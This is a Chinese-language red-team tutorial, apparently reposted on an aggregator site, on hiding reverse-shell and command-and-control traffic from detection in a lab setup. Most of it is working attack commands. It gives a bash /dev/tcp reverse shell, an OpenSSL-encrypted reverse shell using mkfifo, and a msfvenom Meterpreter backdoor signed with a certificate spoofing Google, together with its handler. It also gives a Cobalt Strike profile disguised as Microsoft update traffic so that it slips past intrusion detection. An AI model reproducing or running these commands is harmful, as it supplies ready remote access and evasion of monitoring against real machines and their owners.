红蓝对抗之流量加密(Openssl加密传输MSF流量加密CS修改profile进行流量加密)

Posted OceanSec

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了红蓝对抗之流量加密(Openssl加密传输MSF流量加密CS修改profile进行流量加密)相关的知识,希望对你有一定的参考价值。


红队进行渗透测试的后续渗透阶段为了扩大战果,往往需要横行渗透,反弹 shell,如果反弹 shell 都是明文传输,未加密的流量使用 wireshark 等工具抓包分析可以直接看到输入的命令和返回的信息,而且内网中 IDS 或者防护软件会进行流量进行分析,检测带有攻击特征,很容易被发现,如果蓝队对攻击流量回溯分析,就可以复现攻击的过程。此时红队攻击就会暴漏出来,整个项目都要停止


接下来先看下明文传输,然后介绍一些常见的流量加密混淆的方法

明文传输

环境介绍

  • 攻击者Kali:192.168.179.134
  • 受害者ubuntu:192.168.179.139

因为已经进入了后渗透阶段,环境中我们已经拿到了受害者的权限

先来一个错误示范,看看未经加密的流量状态

首先攻击者使用 nc 监听反弹端口

nc -lvvp 8080

然后在受害者机器上执行反弹shell命令,当然反弹shell的方法有很多,可以了解下,这里使用的 bash 反弹shell,适用于 linux 系统,无需安装

bash -i >& /dev/tcp/192.168.179.134/8080 0>&1

有关反弹shell的文章:

连接成功后在攻击机执行命令并使用 wireshark 嗅探流量(kali默认安装)

分析流量,看 tcp 流量就可以了,右击选择追踪流,可以看到执行的命令

Openssl加密传输

在计算机网络上,OpenSSL 是一个开放源代码的软件库包,应用程序可以使用这个包来进行安全通信,避免窃听,同时确认另一端连接者的身份。这个包广泛被应用在互联网的网页服务器上

使用上一节的环境

使用步骤

  1. 攻击机使用 OpenSSL 生成自签名证书

    openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
    
  2. 攻击机监听端口

    openssl s_server -quiet -key key.pem -cert cert.pem -port 8080
    
  3. 目标机器(受害者)执行反弹 shell 命令

    mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect
    192.168.179.134:8080 > /tmp/s; rm /tmp/s
    # IP为攻击者IP,端口为监听端口
    

    mkfifo 是一个创建命令管道的函数

    什么是命名管道

    命名管道也被称为FIFO文件,它是一种特殊类型的文件,它在文件系统中以文件名的形式存在,但是它的行为却和之前所讲的没有名字的管道(匿名管道)类似。

    由于Linux中所有的事物都可被视为文件,所以对命名管道的使用也就变得与文件操作非常的统一,也使它的使用非常方便,同时我们也可以像平常的文件名一样在命令中使用

使用wireshark分析流量,可以看到 tcp 流中全部为乱码

MSF流量加密

MSF 流量加密是基于 openssl 提供的加密功能,进行流量加密

环境介绍

  • 攻击者Kali:192.168.179.134
  • 受害者windows:192.168.179.136

使用步骤

  1. 在攻击机上使用 openssl 创建证书

    openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 \\
    -subj "/C=UK/ST=London/L=London/O=Development/CN=www.google.com" \\
    -keyout www.google.com.key \\
    -out www.google.com.crt && \\
    cat www.google.com.key www.google.com.crt > www.google.com.pem && \\
    rm -f www.google.com.key www.google.com.crt
    

  2. 在攻击机上生成后门

    msfvenom -p windows/meterpreter/reverse_winhttps LHOST=192.168.179.134 LPORT=8080 PayloadUUIDTracking=true HandlerSSLCert=www.google.com.pem StagerVerifySSLCert=true PayloadUUIDName=ParanoidStagedPSH -f psh-cmd -o pentestlab.bat
    
    # 需要修改Lhsot和Lport,使用刚才生成的证书生成后门
    

  3. 攻击者设置监听器

    配置侦听器时还需要使用两个附加选项。这是为了通知处理程序它将使用的证书(与有效负载相同),并在接收到连接时执行 SSL 证书验证

    use exploit/multi/handler 
    set payload windows/meterpreter/reverse_winhttps
    set LHOST 192.168.179.134
    set LPORT 8080
    set HandlerSSLCert /root/msf/www.google.com.pem
    set StagerVerifySSLCert true
    exploit
    

    将生成的木马文件复制到受害者机器上执行后上线msf

使用 wireshark 分析流量

CS修改profile进行流量加密

因为 CS 名声很大,使用很广泛,导致很多 ids 入侵检测工具和流量检测工具已经可以拦截和发现,特别是流量方面,如果使用默认证书进行渗透和测试,特别在高度安全的环境下,因为证书没修改,容易通过流量检测出来并进行拦截,检测报告将返回给管理员,管理员就能马上将缺口进行修复

生成证书修改 C2 profile 加密混淆实际上就是对流量加密传输,目的逃逸流量安全审计,穿透检测器

  1. 生成 ssl 证书

    在运行 cobalt strike 默认使用的 cobaltstrike.store 证书,使用默认证书容易被检测到,所以需要生成新证书

    在kali中执行以下命令

    keytool -genkey -alias ocean -keyalg RSA -validity 36500 -keystore ocean.store
    

    因为修改 profile 要使用填写相关的地区信息 这些信息填写后在 profile 上还要使用 请勿乱填,填写了要保存,信息确认后会生成一个名为 ocean.store 的文件

  2. 编辑 CS teamserver 的配置文件

    set sample_name "ocean POS Malware";
    set sleeptime "5000"; # use a ~30s delay between callbacks
    set jitter "10";
    # throw in a 10% jitter
    set useragent "Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101Firefox/24.0";
    #设置证书
    https-certificate 
        set CN
            "US";
        set O
            "MicrosoftUpdates";
        set C
            "en";
        set L
            "US";
        set OU
            "MicrosoftUpdates";
        set ST
            "US";
        set validity "365";
    
    #设置
    code-signer
        set keystore "ocean.store";
        set password "123456";
        set alias "ocean";
    
    #指定 DNS beacon 不用的时候指定到 IP 地址
    set dns_idle "8.8.4.4";
    #每个单独 DNS 请求前强制睡眠时间
    set dns_sleep "0";
    #通过 DNS 上载数据时主机名的最大长度[0-255]
    set maxdns
    "235";
    http-post 
        set uri "/windebug/updcheck.php /aircanada/dark.php /aero2/fly.php/windowsxp/updcheck.php /hello/flash.php";
        client 
            header "Accept" "text/plain";
            header "Accept-Language" "en-us";
            header "Accept-Encoding" "text/plain";
            header "Content-Type" "application/x-www-form-urlencoded";
            id 
                netbios;
                parameter "id";
            
            output 
                base64;
                prepend "&op=1&id=vxeykS&ui=Josh @PC&wv=11&gr=backoff&bv=1.55&data=";
                print;
            
        
        server 
            output 
                print;
            
        
    
    http-get 
        set uri "/updates";
        client 
        metadata 
            netbiosu;
            prepend "user=";
            header "Cookie";
            
        
        server 
            header "Content-Type" "text/plain";
            output 
                base64;
                print;
            
        
    
    

    注意这里的信息需要于生成文件时填写的信息一致

    使用命令验证配置是否正确

    ./c2lint ocean.profile 
    

    修改teamserver端口

    vim teamserver
    # 找到端口修改即可
    
  3. 启动teamserver

    ./teamserver ip password ocean.profile
    

    新建 https 监听器

    在添加监听器之后因为使用的是 443 https 端口,在浏览器访问时会提示证书无效,可以查看证书信息

  4. 生成后门

  5. 受害者执行上线,使用 wireshark 抓包分析,流量已经加密

以上是关于红蓝对抗之流量加密(Openssl加密传输MSF流量加密CS修改profile进行流量加密)的主要内容,如果未能解决你的问题,请参考以下文章

流量加密之:MSF流量加密

红蓝对抗之隧道技术第一篇(内网穿透端口映射&端口转发Netsh端口转发CS正反向连接多层内网Burp设置上游代理访问内网MSF protfwd端口转发/重定向)

如何使用 OpenSSL 添加应以流模式加密的数据?

2.4openssl加密

Openssl及加密解密openssl

加密Webshell“冰蝎” 流量 100%识别